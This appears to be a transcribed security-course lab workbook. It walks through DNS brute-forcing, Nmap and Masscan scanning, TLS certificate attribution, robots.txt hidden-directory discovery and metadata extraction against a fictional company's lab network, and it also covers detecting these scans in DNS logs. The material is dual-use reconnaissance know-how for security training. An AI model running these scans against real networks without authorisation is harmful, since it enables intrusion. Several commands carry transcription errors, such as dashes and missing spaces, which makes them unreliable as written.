In this output we learn that when Dig is unable to resolve the DNS record, it returns no output (when being used with the +short modifier). Several of the common names we evaluated don’t return any information, but we did learn about two new entries: login.falsimentis.com and support.falsimentis.com. Notice also how the IP addresses are different in format; this could indicate a misconfigured DNS server, revealing both public IP addresses (23.21.211.161) and private addresses (172.17.0.211) to an attacker. Manually guessing DNS names is ineffective however. As an alternative, an attacker can use an automated DNS name guessing tool, such as the Nmap dns-brute module.

**Automated DNS Guessing**

Nmap is a multi-functional tool for host and network discovery, port scanning, and target enumeration. We’ll look at the many uses of Nmap later on in class, but for now we’ll focus on Nmap’s automated DNS guessing feature: dns-brute. The Nmap dns-brute script uses the list of host names (without the domain suffix) from /usr/share/nmap/nselib/data/vhosts-default.lst to automate the process of DNS name guessing against a specified name server. Examine the first few lines from the vhosts-default.lst file using head, then count the number of lines using the wc utility, as shown here.

sec504@slingshot:~$ head /usr/share/nmap/nselib/data/vhosts-default.lst

sec504@slingshto:~$ wc -l /usr/share/nmap/nselib/data/vhosts-default.lst

127 /usr/share/nmap/nselib/vhosts-default.lst

sec504@slingshot:~$ sudo nmap –dns-servers 172.30.0.254 –script dns-brute –script-args dns-brute.domain=falsimentis.com

The command breaks down as follows:

* Sudo Nmap: Run nmap with root privileges using sudo
* –dns-servers 172.30.0.254: Specify the DNS server to use for name resolution; this can be a local DNS server, the target organization’s DNS server, or another DNS resolver (such as Google’s public DNS resolver at 8.8.8.8)
* – script dns-brute: Tell Nmap to run the dns-brute script
* –script-args dns-brute.domain=falsimentis.com: Specify the falsimentis.com domain as an argument for the dns-brute.domain parameter

In this output we see that Nmap identified five hosts with the dns-brute script; most of these we had already discovered but we also learn about the news.falsimentis.com server as an additional target.

**Automated DNS Guessing - Expanded List**

The vhosts-default.lst that Nmap distributes for DNS brute-force guessing is fairly short, and will only identify the most common DNS names. We can augment the dns-brute capabilities by using a more detailed list. Daniel Miessler (<https://github.com/danielmiessler/SecLists>) maintains a collection of lists that are useful for security assessments, including a longer list of host names. Examine the first few lines of this list using head, then count the number of lines using wc, as shown here. The list of host names is considerably longer. Repeat the dns-brute scan, this time adding the dns-brute.hostlist argument to specify this custom list, as shown here.

sec504@slingshot:~$ sudo nmap –dns-servers 172.30.0.254 –script dns-brute –script-args dns-brute.domain=falsimentis.com,dns-brute.hostlist=/home/sec504/labs/dns/namelist.txt

This list of hostnames is considerably longer. Repeat the dns-brute scan, this time adding the dns-brute.hostlist argument to specify this custom list, as shown here.

sec504@falsimentis:~$ sudo nmap –dns-servers 172.30.0.254 –script dns-brute –script-args dns-brute.domain=falsimentis.com,dns-brute.hostlist=/home/sec504/labs/dns/namelist.txt

This command is very similar to the previous Nmap command, except that we’ve added a second parameter to the dns-brute script arguments to specify the dns-brute.hostlist, When specifying multiple arguments to an Nmap script, we separate each argument by a comma. The nmap output here reveals an additional host that we had not identified previously: downloads.falsimentis.com.

**Automated DNS Guessing - Custom List**

An attacker will not solely rely on publicly-available lists of names to interrogate DNS, opting to expand the number of identified hosts using custom lists based on previously-gathered intelligence. Recall in our Network Analysis lab, we learned about the Falsimentis host *fm-tetris.* Falsimentis, like many organizations, uses a prefix for some of their hostnames of *fm.* Knowing this, an attacker may create a custom wordlist, using the names of common hosts with the Falsimentis-specific prefix of *fm*. From the terminal, create a new list of host names, using the Daniel Miessler list with a prefix of fm-. We can do this with awk, as shown here (Linux practice):

sec504@slingshot:~$ awk ‘{ print “fm-”$1 }’ labs/dns/namelist.txt | head

sec504@slingshot:~$ awk ‘{ print “fm-” $1 }’ labs/dns/namelist.txt > falsimentis-namelist.txt

This awk command breaks down as follows:

* ‘{ Begin an awk program; a space after { isn’t necessary but it makes the Awk program easier to read
* Print “fm-”$1: The awk program itself; print to the screen “fm-” followed by the first column in the processed file; for this example, the program will prepend “fm-” to each word in the name list
* }’ End the awk program; the space isn’t necessary here either, but improves readability
* labs/dns/namelist.txt: Process each line in the labs/dns/namelist.txt file
* > falsimentis-namelist.txt; Redirect the output (the print output from the awk program) to the named file

Next, repeat the dns-brute scan, using the falsimentis-namelist.txt file, as shown here.

sec504@slingshot:~$ sudo nmap –dns-servers 172.30.0.254 –script dns-brute –script-args dns-brute.domain=falsimentis.com,dns-brute.hostlist=falsimentis-namelist.txt

By creating a custom wordlist, using our knowledge of Falsimentis’ convention of prepending fm- to names, we learn about several additional systems from the DNS server.

**Incident Response - DNS Log Analysis**

Let’s finish this lab with a look at what we can see as incident responders following a DNS interrogation attack. For this lab, the DNS server has been configured using the ISC recommendations for logging. From your terminal, change to the ~/labs/dnslog directory, then list the files in the directory in long form, as shown here (ls -l <OPTION>).

These logs were generated by your attacks during the exercise (the file sizes may be different on your system). One point to notice is that the zone\_transfers file is empty, indicating that there are no logs of successful zone transfers. However, examine the contents of the client\_security log file with cat, as shown here.

04-Jul-2021 15:45:04.517 security: error: client @0x55a7ff06d160 172.30.0.1#50167 (falsimentis.com): zone transfer ‘[falsimentis.com/AXFR/IN](http://falsimentis.com/AXFR/IN)’ denied

[...] The presence of a failed zone transfer is valuable, if only to use the offending source IP address on a watchlist to look for other malicious activity. *In some rare cases, the client\_security file may be empty. If this happens, you can still see the zone transfer activity by running grep AXFR queries.*

Next, examine the first few lines from the queries file, as shown here.

Here, we see a log of all DNS queries sent to the server. For a busy DNS server this is going to create a lot of logging information, so we would need to be careful about rolling the logs over and saving old logging data. Still, it provides a lot of useful information for the defender, including:

* Source IP address of the resolving client
* Host name attempted to resolve
* Date and time for the DNS request
* The record type (A, AXFR, MX, etc.)
* DNS request flag; + E(0) K indicates recursion request (+), enhanced DNS request (E(0)), and if the client requested a DNS cookie (K)

Evaluating the data in the queries log file is best done in a Security Information Event Management (SIEM) platform, but we can do some basic analysis at the command line. For example, we can use cut, and uniq to perform some basic analysis of the number of events over time, as shown here.

sec504@slingshot:~/labs/dnslog$ awk ‘/172.30.30.1/ {print $2}’ queries | cut -d: -f1-2 | uniq -c

Note that your output will be different than what is shown here, reflecting the time changes when you complete this lab, and possibly the addition of additional DNS requests. This command breaks down as follows. It is helpful to visualize a log entry when reviewing the command parameters, included here:

* awk ‘/172.30.30.1/ {print $2}’ queries |: Use awk to focus on log entries containing the attacker IP address with a program that prints the 2nd column of information (the time filed) from the queries file
* cut -d: -f1-2 | : Using a colon delimiter, retrieve the first and second fields from the time; that is the hour and minute (eliminating the seconds filed)
* uniq -c: Count the number of unique instances of the log output(e.g., how many events happened each minute)

This script presents some time analysis results for *Events Per Minute* (EPM). In the first few minutes we see only one or a small number of requests from the attacker, until we get to 15:48 where there were 256 requests in one minute or less. This indicates a transition from manual interrogation to an automated tool. A few minutes later we see two significantly larger EPM values, both for 4654 requests from the attacker. *NOTE: Nmap’s dns-brute script makes requests for an A record, and an AAAA (quad-A; IPv6) record. This produces two requests for each lines in the name list file.*

This analysis is useful, but must be taken into careful consideration with non-malicious events on the server. Some DNS servers may normally handle millions of request per minute, with many originating from the same source IP address (when considering NAT-based networks). Always take into consideration the baseline analysis for your network when deciding if the observed activity is anomalous.

**Cleanup**

Return to the terminal where you launched the gonameserver script. Press CTRL + C to terminate the script.

**Bonus (If Time Permits or Homework)**

Evaluate the DNS log file at ~/labs/dns/dns.log. This log file is extracted from a network capture using Zeek, then converted into a format suitable for use in our lab exercise. Use the events/hour and events/minute timing analysis to examine the log entries. Try to discern a pattern in the timing information you observe as a potential indicator of compromise. To process the data in a file, we first have to understand the file format. Examine the first few lines of the ~/labs/dns.log file using the head utility, as shown here.

We see that the log starts at 2021-08-15 16:08:14. Similarly, we use the tail command to look at the last few lines to see when the log file ends,as shown here.

Looking at the beginning and ending time information, we see that the log covers approximately 24 hours. We can also see that the file has four columns, delimited by white space: day, time, IP address, and hostname. In this log file, the IP address is the DNS resolver client, and it is the same for all log entries. In the main part of the lab exercise, we used awk and cut to extract the time information, focusing on the number of events per minute. We can conduct similar analysis here, beginning out analysis on evaluating on the events per hour by extracting only the hour portion of the time field, as shown here.

sec504@slingshot:~$ awk ‘{ print $2 }’ labs/dns/dns.log | cut -d:-f1 | head

Here we see that the hour 16 is the only output, matching what we saw when we used head to examine the first few lines of the file. Next, count the number of unique hours represented in this output with uniq -c, as shown here.

The output shows us each hour represented in the log file, 16:00, 17:00, etc. The number to the left of the hour shows us the number of DNS name requests made during that hour. Looking at this information there isn’t a clearly discernible pattern; the number of DNS requests per hour is between 2847 and 5764. At this events per hour analysis level, we don;t have anything that may indicate an attack. Next, repeat the previous awk command, this time looking at the number of events per minute instead of per hour. We can make thai change by instructing the cut command to count the number of unique log entries per minute by specifying the hour and minute fields, as shown here.

sec504@slingshot:~$ awk ‘{ print $2 }’ labs/dns/dns.log | cut -d:-f1-2 | uniq -c | more

*TIP: This command will generate 1440 lines of output (24 hours of logs, one entry per minute). Send the output of the awk command through more to see one screen of data at a time, or consider redirecting the output to a file.*

At first this may look like more indiscernible data, but if you look closely at the data you will start to see a pattern where there are many more DNS requests at regular time intervals; approximately every five minutes. An excerpt of the data is shown here. This output shows a clear spike in DNS activity every five minutes (with some variation or skew); note the large number of requests at 19:36; one minute past the normal interval). While this isn’t enough to characterize a specific attack, it may be something that would be valuable to investigate as an anomaly that is unlike normal network activity.

**Additional Resources**

The Internet Software Consortium (ISC) has a recommendation for configuring logging on a BIND DNS server, available at <https://kb.isc.org/docs/aa-01526>/. For Windows DNS servers, the Set-DnsServerDiagnostics used to control log settings; more information on DNS logging is available at Microsoft docs.

**Lab 2.2: Nmap**

**Brief Intro:**

In this lab, you will evaluate several of the features of Nmap. You will conduct multiple scans against the local Linux VM and the Windows VM.

**Try it Yourself:**

Run scans against your local host with different permissions. Run scans from the Linux VM to the Windows VM. Experiment with different options to evaluate why a port is reported as open or closed, the difference between Nmap scanning as root and as a non-privileged user, performing OS identification, version scanning,and evaluating the standard listening port configuration on Windows.

**Verify Connectivity**

On the Linux VM, test connectivity to the Windows VM using the ping utility:

sec504@slingshot:~$ ping -c 3 10.10.0.1

Next, test the connectivity from the Windows VM to the Linux VM using Test-NetConnection 10.10.75.1:

PS C:\Users\Sec504> Test-NetConnection 10.10.75.1

If you are unable to get a response from the Windows VM or the Linux VM, take a look at the Testing Virtual Machine Connectivity module for troubleshooting steps.

**Nmap as an Unprivileged User**

From the Slingshot terminal, run an Nmap scan of the local system with no arguments, as shown here.

sec504@slingshot:~$ nmap 127.0.0.1

In this output, we see that two TCP ports are open. Nmap indicates which port number is open and accepting connections, as well as a brief description of the service. The service description is based on common port-to-protocol descriptions as defined in the /etc/services file. Note that Nmap indicates three open ports and 997 closed ports. Instead of scanning all 65,535 possible ports, Nmap defaults to a list of the top 1,000 most common ports.

**Reason Information**

By default, when running as a non-root account, Nmap does a full TCP connect scan, completing the TCP three-way handshake for each open TCP port on the target.

*We are showing you how Nmap runs as a non-root user because it is important as an incident handler to understand that you do not need to be root to run nmap. Attackers who gain access to a system can still discover systems and ports even with limited privileges.*

Nmap can also tell you why it believes a port is open. For example, in UDP scan Nmap lists a port as Open | Filtered. This means it did not receive a response, so the UDP port in question is either open or filtered. Another example is if a firewall drops a packet, Nmap responds with Filtered as the status of a port.

Examine the Nmap reason output by rerunning the scan, this time with the nmap –reason command:

sec504@slingshot:~$ nmap –reason 127.0.0.1

In this output, we see that Nmap discloses that it received a SYN/ACK for each of the open TCP ports.

**Nmap Root User Scan**

Next, use sudo to run Nmap as root and repeat the scan again:

Sudo + “nmap –-reason 127.0.0.1”

When you run Nmap as a root user, the default scan type changes. As non-root, map uses a TCP connect() to determine if a port is open or closed. As root, Nmap uses a half-open or TCP SYN scan (a TCP SYN is sent to start a connection, but the connection is never completed). The scan results are similar, but notice how the host discovery check indicates *localhost-response*, produced by Nmap’s initial *ping* test that is only possible for the root user. *Nmap’s half-open scan used by root accounts may generate fewer logs on a host system. However, it is also more suspicious on the network. To force Nmap to use the TCP connect scan as root, add the – sT argument.*

**Controlling The Port Specification**

So far we’ve scanned using the Nmap default TCP ports. In some cases, it is desirable to scan specified range of ports, such as all the low-numbered ports from 1-1024. Run the scan again, this time adding the -p argument to scan for ports in the range of 1 to 1024, as shown here.

sec504@slingshot:~$ sudo nmap –reason -p 1-1024 127.0.0.1

Here we see a complete scan with no ports open. This is not a surprise based on the earlier scan result, but we want to emphasize the functionality of the -p argument. The -p argument is useful when you want to limit the range of ports to be tested, such as scanning for web servers (-p 80, 443, 8000, 8080), SMB servers (-p 135, 139, 445), or any range of ports needed to evaluate a target system. To scan all TCP ports, you can specify -p 1-65535, or use the Nmap shorthand -p-. Scan all 65535 ports on the Slingshot Linux host, as shown here.

sec504@slingshot:$ sudo nmap –reason -p- 127.0.0.1

Note that when we scan all TCP ports, we identify two additional services on TCP/5433 and TCP/5443 ports listening. These two services weren’t identified in the earlier scans, since Nmap will only scan the top 1000 ports when no -p argument is specified.

**Getting More Information - Banners**

In the last Nmap scan result, we saw five open ports:

* TCP/5433 is characterized as the pyrrho service
* TCP/5443 is characterized as the spss service
* TCP/9000 is characterized as the cslistener service
* TCP/9001 is characterized as the tor-orport service
* TCP/9002 is characterized as the dynamid service

The service information is collected from Nmap’s own nmap-services file based on the port number. However, we know the port information can be arbitrary, and Nmap’s service identification can be misleading. To get additional information from the listening service to better characterize what is actually listening, we can conduct a *version detection* scan. Nmap will connect to each service and interact with the server, attempting to obtain service information from a series of connection probes. Run the scan below, using the -sV argument to conduct a version detection scan against the target.

sec504@slingshot:~$ sudo nmap -sV –reason -p 5433, 5443, 9001, 9002 127.0.0.1

*In this can we specified four ports to reduce the time needed for Nmap to finish scanning. You can optionally include port 9000 in the port designation as well, though that will require a few additional minutes for Nmap to complete the scan.*

By adding the version detection scan output, Nmap returns a different characterization of the open port service identifiers:

* TCP/5433 is characterizes as a PostgreSQL database server 9.6.0
* TCP/5443 is characterized as a SSL/HTTP service running *Thin httpd*
* TCP/9001 is characterized as an nginx web server version 1.14.0 running on Ubuntu
* TCP/9002 is characterized as an nginx web server version 1.14.0 running on Ubuntu

The output of the version detection scan is much more useful to us, since we can properly characterize the TCP/5443, TCP/9001, and TCP/9002 services as web servers. Knowing this, we can also ask Nmap to further interrogate the web servers using web enumeration scripts.

*Note that Nmap reports an unrecognized service for TCP/5433, even though it is characterized as PostgreSQL. Nmap has observed unexpected output, and always welcomes additional information to improve identification capabilities.*

**Getting More Information - Scripts**

In addition to version detection scan, Nmap can also use one or more scripts to collect detailed information from a target platform. Nmap includes over 600 different scripts for vulnerability assessment, password attacks, sensitive data disclosure collection, and much more as part of Nmap Scripting Engine (NSE) library. You can see all of the Nmap scripts on the Nmap website at <https://nmap.org/nsedoc>. From the Linux command line, you can obtain help information for a specific category of scripts using the –script-help command line argument. Run the Nmap command shown below to obtain a list of all the Nmap scripts beginning with *http* in the script name:

sec504@slingshot:~$ nmap –script-help “http-\*”

This is a long list of scripts, with more detail than you might want to look through. Limit the output using grep, as shown here.

sec504@slingshot:~$ nmap –script-help “http-\*” | grep “^http-”

*The grep command argument syntax uses a regular expression to filter the output. The leading ^ indicates that grep should only display lines that begin with the string http-.*

For any given script name, we can obtain the help information by using –script-help followed by the script name. Obtain the script help for the Nmap http-git script, as shown here. The Nmap http-git script checks for Git repository information on a web server, which can often reveal detailed information about the web application, potentially including old passwords or other sensitive information. Run the http-git script on the Slingshot Linux port 9001 web server using the Nmap –script argument, as shown here, omitting the -sV argument:

**sec504@slingshot:~$ sudo nmap -p 9001 –script http-git 127.0.0.1**

Notice that, although we’ve told Nmap to interrogate the server using the http-git script, we don’t get any script output from the target. This is because Nmap does not recognize the web servers on non-standard ports, and does not attempt to run the http-git script. *NOTE: It is essential for Nmap to properly characterize the target service to apply the correct scripts,*

Repeat the scan again, this time adding the -sV argument:

In this output we see the output of the http-git script, identifying the Nginx server listening on TCP/9001 as having a Git repository pointing to the URL ssh://git@github.com-wiki/joswrlght/SANS-504-Student-Wiki.

**Getting More Information - Aggressive Scanning**

Nmap includes a powerful option with the -A argument. This option enables OS detection, version detection, script scanning, and traceroute output. It gives you far more information than a SYN or TCP connect scan. Let’s run it now:

Sudo nmap -A -p 5433, 5443, 9001, 9002 127.0.0.1

Starting Nmap 7.60 ( <https://nmap.org> ) at 2023-08-22 19:11 UTC

Nmap scan report for localhost (127.0.0.1)

Host is up (0.000084s latency).

PORT STATE SERVICE VERSION

5433/tcp open postgresql PostgreSQL DB 9.6.0 or later

| fingerprint-strings:

| Kerberos:

| SFATAL

| VFATAL

| C0A000

| Munsupported frontend protocol 27265.28208: server supports 1.0 to 3.0

| Fpostmaster.c

| L2030

| RProcessStartupPacket

| SMBProgNeg:

| SFATAL

| VFATAL

| C0A000

| Munsupported frontend protocol 27265.28208: server supports 1.0 to 3.0

| Fpostmaster.c

| L2030

| RProcessStartupPacket

5443/tcp open ssl/http Thin httpd

…

*This scan takes approximately 90-120 seconds to complete.*

Nmap provides us with not only the port information but also the service version (such as Nginx 1.14.0). It also queries the services to identify which commands it supports (for example, SMTP commands), and other useful information (such as the HTTP page title).

**Standard Windows Ports**

Next, examine the results from scanning the Windows server at 10.10.0.1, as shown here:

sec504@slingshot: sudo nmap -A 10.10.0.1

*This scan takes approximately 60-90 seconds to complete.*

The big thing to take from this is to see which ports are available to most un-firewalled systems. The standard RPC/SMB ports (135, 139, and 445) are an Achilles heel for many Windows systems. It it over these ports that many exploits access Windows systems remotely or allow an attacker to remotely authenticate and access the system via valid credentials.

**Why This Lab Is Important**

In this lab we looked at how Nmap allows an attacker or a defender to identify active hosts and enumerate listening services. We also looked at how Nmap allows users to interrogate systems further, by using version scanning and NSE scripts. Through these features, Nmap makes it possible to discover the network configuration, and to perform discovery and analysis in preparation for an attack. While powerful, Nmap can also be tricky, with non-intuitive details (such as limiting the number of scanned ports to the top 1000 and minimal host discovery steps prior to scanning). When we develop a better understanding for how Nmap functions, we can get more useful information from the scan results, allowing us to map, scan, and enumerate vulnerabilities. By practicing with Nmap (in these lab steps and in the bonus exercise) we become more familiar with the way Nmap functions, and we build our skills in applying it for practical use.

**Bonus (If Time Permits or Homework)**

**Unidentified Scan Target**

Your Slingshot Linux VM is configured with an additional scan target that runs in a Docker container. To launch the target, open a terminal adn run the goscantgt command, as shown here.

sec504@slingshot:~$ goscantgt

Starting Docker service …. Done.

*Note that the output of the goscantgt command will produce limited output and does not return the shell prompt. This is normal.*

Open a second terminal. While the goscantgt command is running, a second Linux instance is running on the local 172.30.0.0 network (the Slingshot Linux VM is 172.30.0.1; the target is in the range 172.30.0.2-254).

*Question: What is the IP address of the target system?*

Run the nmap scan using the -sn argument to test for reachable hosts. Specify the range of hosts from 172.30.0.2-254. Perform the Nmap scan, identifying reachable hosts in the specified network range, as shown here.

sec504@slingshot:~$ sudo nmap -sn 172.30.0.2-254

*Answer: The host at 172.30.0.20 is reachable.*

*Question: Which TCP ports listening on the target system using a TCP connect scan?*

Nmap defaults to a list of 1024 common TCP ports; you can perform an exhaustive TCP port scan by adding the argument -p-. To perform a connect scan, specify the -sT argument. This is necessary for our Docker target to complete the scan in a relatively short time. Perform the Nmap scan using all 1024 TCP ports for the host 172.30.0.20, as shown here.

sec504@slingshot:~$ sudo nmap -sT -p- 172.30.0.20

*Answer: The host at 172.30.0.20 has 5 open ports: 21, 80, 38080, 38081 and 55558.*

Feel free to experiment with connecting to the listening ports using different tools and other scan techniques including -sV or -A. AFter you have finished experimentation, return to the goscantgt process and press CTRL + C to stop the Docker container.

**Comparing Nmap Scan Results with ndiff**

Try using ndiff, a utility that ships with Nmap. It allows one to quickly compare Nmap scan results. (Hint: This is a great way to compare a baseline scan against a weekly, daily,or hourly scan to look for new services or hosts.)

First, run an Nmap scan, saving the results in an XML file using the -oX argument, as shown here.

sec504@slingshot:~$ nmap 127.0.0.1 -oX baseline.xml

Next, start the ssh service and run the scan again, this time saving the XML formatted results to newscan.xml, as shown here.

sec504@slingshot:~$ sudo service ssh start

Finally, compare the two XML files using the ndiff utility:

sec504@slingshot:~$ ndiff baseline.xml newscan.xml

The output of ndiff reveals that the second scan has an additional TCP port (the SSH service on port 22, as noted with the leading + sign to indicate an additional listening port). This is useful information for an analyst, as the presence of a new listening port warrants additional analysis to identify why the service was added to the host. To complete the lab, stop the SSH service, as shown here.

sec504@slingshot:~$ sudo service ssh stop

**Additional Resources**

For a deeper dive on Nmap commands and what they do, try the commands in this blog posting:

<https://www.cyberciti.biz/security/nmap-command-examples-tutorials/>

**Lab 2.3: Cloud Scanning**

**Brief Intro**

In this lab, you will scan a large range of IP addresses simulating a cloud environment to identify a previously unknown Falsimentis server using Masscan, TLS-Scan, JQ, and EyeWitness.

**Try It Yourself**

Run gomassscannet to setup the target environment. Scan the the 10.200.0.0/16 network using Masscan for servers listening on TCP/443, then use TLS-Scan to enumerate the listening servers. Use JQ to extract server identity information from the TLS-Scan output. Use EyeWitness to build a report of the active host websites, identifying the Falsimentis cloud server.

**Examine Masscan Usage**

Run masscan with no arguments to launch the tool and to display basic usage information, as shown here.

sec504@slingshot:~$ masscan

usage: masscan -p80, 8000-8100 10.0.0.0/8 –rate=10000 scan some web ports on 10.x.x.x.x at 10 kpps masscan –nmap list those options that are compatible with nmap masscan -p80 10.0.0.0/8 –banners -oB save results of scan in binary format to masscan –open –banners –readscan -oX read binary scan results in and save them in xml in

Masscan accepts arguments that are similar to Nmap, including -p (designate ports to scan), -iL iplist.txt (obtain a list of target IP addresses from a file), or a range of IP addresses using CIDR or hyphenated ranges. One important additional argument for Masscan is –rate, where the attacker specifies the number of packets per second that Masscan will transmit.

*For Masscan to be effective, the rate specified must not exceed host or network capacity, either local to the attacker or in any hop between the attacker and target network environment. To improve performance, an attacker will use a cloud system that matches the environment of the target to best leverage single-cloud performance.*

**Enumerate Cloud Targets**

Run Masscan to enumerate the cloud targets, identifying any hosts listening on TCP/443 (HTTPS), as shown here.

sec504@slingshot:~$ masscan -p 443 –rate 10000 -oL simcloud.txt 10.200.0.0/16

Initiating SYN Stealth Scan…

The command line can be broken down into the following components:

* -p 443: Identify systems listening on TCP/443 using a half/open (SYN) scan technique
* – rate 10000: Send 10,000 packets per second
* -oL simcloud.txt: Save the results in list format (one entry per line) in the specified file name
* 10.200.0.0/16: Scan the specified list of IP addresses (65536 hosts) using CIDR notation

*Note: At the end of the scan, Masscan should report the discovery of 14 hosts. This is not always predictable, since Masscan may send packets faster than your host system can accommodate, even in the simulated cloud environment. If your scan reports fwere than 14 identified hosts, re-run the scan. You can also experiment with different rates, either increasing or decreasing the rate to experiment with Masscan performance.*

**Examine Scan Results**

Display the contents of the scan result using cat, as shown here.

The Masscan results in *list* format (-oL) are mostly self-explanatory except for the last column. The last column represents the epoch timestamp when Masscan identified the open port. The epoch timestamp can be converted to a human-friendly timestamp using the date utility (date -d ‘@16209729347’) if desired. With this information, we can represent targets visually, as shown here.

**Build a Target List**

The Masscan results identify the systems listening on TCP/443, but for compatibility with other tools we need to create a file that includes only the listening IP addresses, one per line. Use the following Awk example to extract this list from the Masscan results.

The Awk command line can be broken down into the following components:

* Awk ‘: Run awk and start a new program with single quotes
* /open/: Only process lines that include the string (similar to grep)
* { : Start the action portion of the Awk program
* Print $4: Print the 4th tokenized column (the Masscan-reported IP address)
* }: End the action portion of the Awk program
* ‘: End the Awk program with the closing singe quote
* Simcloud.txt: Read from the Masscan results file simcloud.txt and apply the Awk syntax
* > simcloud-targets.txt: Redirect the output of the Awk program to the specified file name

Once you have a list of IP addresses, we can use other tools to interrogate these hosts to perform attribution assessment of the targets.

**Collect TLS Information**

Next we’ll use TLS-Scan to conduct target attribution against the identified list of hosts. Run the tls-scan command as shown here.

sec504@slingshot:~$ tls-scan –port=443 –cacert=/opt/tls-scan/ca-bundle.crt -o simcloud-tlsinfo.json < simcloud-targets.txt

*Due to a bug in TLS-Scan, you may not see detailed output with elapsed-time messages. TLS-Scan will still generate the output file we need for the scan results.*

The TLS-Scan command-line can be broken down into the following components:

* –port=443: Collect TLS information using TCP port 443
* –cacert = /opt/tls-scan/ca-bundle.crt: Specifies the path to the root CA certificate bundle used to verify certiifcates
* -o simcloud-tlsinfo.json: Save the scan results to the specified file name
* < simcloud-targets.txt: Get the list of target IP addresses to assess using shell redirection (read the contents of the simcloud-targets.txt file)

TLS-Scan will quickly connect to each of the 14 target hosts and collect certificate information, saving the collected information in the specified JSON file. The collected certificate information will often reveal the cloud system owner, allowing an attacker to perform attribution analysis on the target.

**Conduct Target Attribution**

The TLS-Scan JSON file includes several pieces of information that can be used for attribution: certificate subject, common name, subject alt name, and others. We can use JQ to process the JSON file to extract this information. Run the JQ command shown below to extract IP address and subject common name information from the certificate chain for each identified TLS server, as shown here.

sec504@slingshot:~$ jq ‘.ip + “ “ + .certificateChain[].subjectCN’ < simcloud-tlsinfo.json

The JQ command line can be broken down into the following components:

* ip + “ “ + .certificateChain[].subjectCN’: The JQ program, selecting the .ip and .certificateChain[].subjectCN fields for each record in the JSON file, concatenated with spaces
* < simcloud-tlsinfo.json: Get the JSON data using shell redirection

*Question: What is the IP address and host name of the Falsimentis system?*

The output of the JQ command will reveal IP address and certificate subject common name information for several hosts. You can inspect the results manually, or use ‘grep’ to identify any string returned that identifies the falsimentis.com domain, as shown here.

*Answer: The IP address and host name of the Falsimentis system are 10.200.74.2 and downloads.falsimentis.com*

**Create an EyeWitness Report**

Although not required for cloud scanning, EyeWitness is a useful tool to create a visual report of several target systems. Unlike Masscan and Nmap, EyeWitness focused on visually representing the target system by taking a screenshot of the website or other graphical interfaces (RDP, VNC) creating an HTML report of the scan results. From the Slingshot Linux command line, create an EyeWitness report for all of the cloud systems identified in the Masscan results, as shown here.

sec504@slingshot:~$ /opt/eyewitness/Python/EyeWitness.py –web -f simcloud-targets.txt –prepend-https

After opening the EyeWitness report in Firefox, scroll to find the Falsimentis target system, as shown here. Note that the server may not be on the first page of scan results since the servers are enumerated in the Masscan target list file order.

**Cleanup**

Terminate the simulated cloud network by running stopmasscannet, as shown here.

sec504@slingshot:~$ stopmasscanet

**Why This Lab Is Important**

To many, cloud assets can seem anonymous: just another server deployed in the cloud. Especially when the systems are not actively in use (perhaps for staging or development purposes), or have not been allowed public DNS entries, a cloud server can be lost in a sea of other systems. In this lab, we see how an attacker can scan large numbers of entities using Masscan. While we scanned only 65535 hosts in this exercise, Masscan can quickly scan millions of systems to identify a list of targets listening on designated ports. While these scan results don’t provide any ownership attribution for the identified targets, TLS-Scan can quickly extract certificate information which can reveal the target server owner quickly. Attackers can use these techniques to scan and enumerate assets hosted by various cloud providers, disclosing servers that belong to a target organization. After identifying the systems, the attackers can attempt to exploit them directly, often bypassing other security controls including Web Application Firewalls (WAFs). We’ll return to these additional attacks including WAF bypass later in the course.

**Bonus (If Time Permits or Homework)**

Re-run the Masscan scan, adjusting the rate to higher values, such as –rate 10000 or higher. Repeat each scan multiple times. What is the maximum rate your system can accommodate to get reliably consistent results from Masscan? (this value will vary from system to system.)

**Falsimentis Host Assessment**

Visit the newly identified Falsimentis target system at <https://10.200.74.2>. We know this server is ostensibly named *downloads.falsimentis.com* from the certificate information, even though it is not present in DNS records. Spend a few minutes evaluating the server and answer several questions.

*Question: What is the hidden directory specified in the robots exclusion file?*

The robots exclusion file is robots.txt, available in the root of the web server. You can download this file to examine the contents using Firefox, or at the command line using wget or curl (with the -k option), as shown here.

sec504@slingshot:~$ curl -k <https://10.200.74.2/robots.txt>

sec504@slingshot:~$ curl -k https://10.200.74.2/robots.txt

*Question*: *What file is disclosed in the Falsimentis download server in the hidden directory?*

We know that the robots exclusion file is designed to prevent search engines from crawling the web server for the designated directory. Browse to that directory using Firefox or curl to see the contents of that directory. The robots.txt file identified the directory 918cd9e790b13972faal1034157a11982 on the web server, as shown here.

sec504@slingshot:~$ curl -k https://10.200.74.2/robots.txt

# Don’t allow search engine crawlers to discover hidden directory

User-Agent: \*

Disallow: /918cd9e790b13972faal1034157a11982

Since we know the site is trying to prevent web crawlers from accessing this directory, the directory might have interesting content. Request the contents of the directory to see the file list using Firefox or curl, as shown here (note that a trailing / at the end of the URL is required to obtain the directory contents).

sec504@slingshot:~$ curl -k https://10.200.74.2/918cd9e790b13972faal1034157a11982

<....curl -k again on the IOC…>

*Answer: Two files are disclosed in the Falsimentis download server in the hidden directory:* Falsimentis Board Meeting Minutes for 4Q.pdf and Falsimentis Board Meeting Minutes for 4Q.docx

*Question: Download the identified files. Use the Metadata in the files to identify the author, editor, application used to compose the document, and document producer.*

From a terminal, change to the Downloads directory. Examine the metadata associated with both the PDF and DOCX files using exiftool. After downloading the files, change to the Downloads directory and use exiftool to examine the document metadata, as shown here.

sec504@slingshot:~/Downloads exiftool \*.docx \*.pdf

Inspect the output from exiftool to identify the author, editor, application, document producer. Optionally you can use grep to match these fields in the output of exiftool, as shown here.

sec504@slingshot:~/Downloads exiftool \*.docx \*.pdf | grep -i -E “author|editor|application|producer”

The grep command line can be broken down into the following components:

* -i: Perform case-insensitive matching
* -E: Treat the search term as a regular expression (regex)
* “Author|editor|application|producer”: Match any lines matching the regular expression where | denotes an *or* condition (display lines containing any of the specified strings)

*Answer: Florina Schieicher (author), Roseann/Rose Bycraft (editor), Microsoft Office word (application used to compose the document), macOS 11.2.3 (document producer).*

**Additional Resources**

Additional information on Masscan is available in the project page at https://github.com/robertdavidgraham/masscan

Much of this lab is inspired by the excellent article *How to Scan AWS’s Entire IP Range to Recon SSL Certificates* by Daehee Park at <https://www.daehee.com/scan-aws-ip-ssl-certificates/>

**Lab 2.4: SMB Security Investigation**

By using built-in features of any OS, skillful and patient attackers can launch powerful attacks that will bypass many defensive tools.

**Try It Yourself**

Use smbclient and rpcclient on your Linux VM to attack your Windows VM. After enumerating local users and groups, run the user-gen.bat script to create multiple local Windows accounts, then attack them using a password spray using LocalPasswordSpray.ps1.

**Enumerate Shares with smbclient**

